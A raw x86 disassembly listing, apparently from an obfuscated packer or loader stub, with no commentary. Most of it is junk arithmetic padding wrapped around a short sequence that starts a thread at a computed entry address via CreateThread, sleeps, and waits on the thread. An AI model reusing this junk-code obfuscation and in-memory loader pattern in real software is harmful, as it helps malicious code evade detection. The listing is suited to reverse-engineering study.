rcr esi, 0x6c
dec edi
dec edi
mov edi, 0x43
ror edx, 0x9f
rcl ebx, 0xb5
sub edi, 0x32
dec edx
imul edi
not eax
neg eax
and esi, 0
not edx
ror eax, 0xd0
inc ebx
rcr esi, 0x4a
dec esi
bswap ebx
ror ebx, 0x21
mov edx, 0xd5
imul edi
sub esi, 0x2b
or ebx, 0xd0
not ebx
rcr edi, 0xe7
sbb esi, 0xd
ror edi, 0xe
not edi
neg eax
inc ebx
inc eax
sub edx, 0xa7
inc eax
inc edx
bswap ebx
ror edi, 0xa8
inc edx
imul edi
neg ebx
or edi, 0x49
dec edi
mov eax, 0x70
mov edi, 0x74
imul edi
mov edi, 0x5f
neg esi
inc ebx
sub eax, 0x54
rcr ebx, 0xbe
imul esi
dec esi
add esi, 0x47
rol edx, 0xc7
bswap eax
bswap esi
dec eax
and edx, 0x99
bswap ebx
dec esi
imul edi
rcr esi, 0x5f
dec ebx
rcr eax, 0xfd
neg edx
not eax
bswap edi
mov eax, 0x9e
dec eax
imul esi
rcl edx, 0xeb
imul ebx
and edi, 0xa1
inc eax
and edi, 0x82
imul ebx
ror esi, 0x6d
dec ebx
rol eax, 0x23
dec edx
not esi
imul edx
neg esi
dec edi
sub ebx, 0x4e
and eax, 0xdc
dec edi
sbb edi, 0xde
inc edi
not esi
imul eax
rcl edi, 0x20
sbb eax, 0x11
not esi
rol esi, 0x59
imul eax
sub ebx, 0xfb
and ebx, 0x31
sub eax, 0xb7
dec esi
mov edx, 0xa2
inc esi
ror ebx, 7
sbb ebx, 0xc0
bswap edx
dec esi
mov eax, 0xc7
inc edx
dec eax
dec ebx
and esi, 0x6b
or ebx, 0xb0
not eax
inc ebx
imul eax
add esi, 0x14
and esi, 0xff
inc eax
bswap edi
imul edi
not edx
inc ebx
and edx, 0x2a
ror edi, 0xf9
not esi
rcl esi, 0x4a
rcl edi, 0xe4
not esi
dec esi
ror eax, 9
and edi, 0x6f
dec esi
inc eax
sbb ebx, 0x47
or edx, 0x23
not edi
imul edi
dec ebx
sbb eax, 0xf6
or edx, 0x3e
and edi, 0xe1
rcl edi, 0xb6
dec esi
not esi
bswap esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x110], eax
test byte [ebp - 0x103], 1
je 0x404647
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x10c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403190
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
or edi, 0x63
inc esi
and ebx, 0x95
neg edx
sbb ebx, 0x2e
not edx
or eax, 0x8e
imul esi
sub eax, 0x1e
neg ebx
sbb ebx, 0xb6
bswap eax
and esi, 0x32
rcr esi, 0xad
neg ebx
imul eax
ror esi, 0xcd
inc esi
add edx, 0xda
inc edx
imul esi
bswap eax
sub eax, 0xbe
dec edi
rol edi, 0xb6
rcr eax, 0xa9
bswap ebx
dec esi
neg ebx
bswap edx
sbb ebx, 1
rol eax, 0x45
add eax, 0xf2
inc edx
sub esi, 0x71
or esi, 8
rcl edi, 0xd0
imul ebx
rcr edx, 0x7d
sub edx, 0x4f
and esi, 0x88
rcr edi, 0x93
not edi
neg edx
bswap esi
imul esi
sub edi, 0xd6
sbb edx, 0x46
or esi, 0xcf
sub esi, 0x96
neg esi
ror eax, 0x8e
imul ebx
and eax, 0x66
dec esi
inc edi
sbb eax, 0x15
dec ebx
dec esi
inc edx
neg esi
not eax
rcl edx, 0x69
bswap eax
sub edi, 0xa
inc edx
add eax, 0x3a
rcl edi, 0xb4
add eax, 0xb7
rcr edx, 0xfc
rcr eax, 0xdc
imul edx
mov esi, 0x42
sub edi, 0x7a
rol edi, 0xa5
not esi
bswap eax
add esi, 0xe
rcl esi, 0x8d
ror ebx, 0x52
rol esi, 0x79
mov edi, 0x69
or edx, 0x17
or ebx, 0xfe
or esi, 0x7f
bswap edx
ror edi, 0x77
bswap edi
mov edi, 0x71
dec eax
dec ebx
inc eax
rol edx, 0xef
bswap edx
or edx, 0xdb
dec edx
mov edx, 0x7e
imul eax
mov edx, 0xf6
bswap edx
or eax, 0xcb
dec edx
neg edi
add ebx, 0x21
inc edx
neg eax
inc esi
add ebx, 0x70
imul edx
sub esi, 0x4c
and edi, 0x40
sbb eax, 0x84
rcl ebx, 0xcb
imul edx
rol ebx, 0xc
bswap edx
mov ebx, 0xc
bswap esi
neg ebx
or edi, 0xae
ror ebx, 0x1e
or edi, 0xc1
and edx, 0xb7
or edi, 0x8a
sub edx, 0xe0
or ebx, 0x37
dec edx
sub edi, 0xb3
mov edi, 0x42
dec ebx
inc edi
imul edx
neg esi
sbb edi, 0x7a
ror esi, 0x1a
dec ebx
and edx, 0x27
imul edi
or esi, 8
bswap edx
rcr ebx, 0x58
bswap eax
inc ebx
and ebx, 6
bswap edi
not eax
and eax, 0xe
rol edx, 0xdf
not edi
mov edi, 0xa4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x124
pop esi
pop edi
pop ebx
pop ebp
ret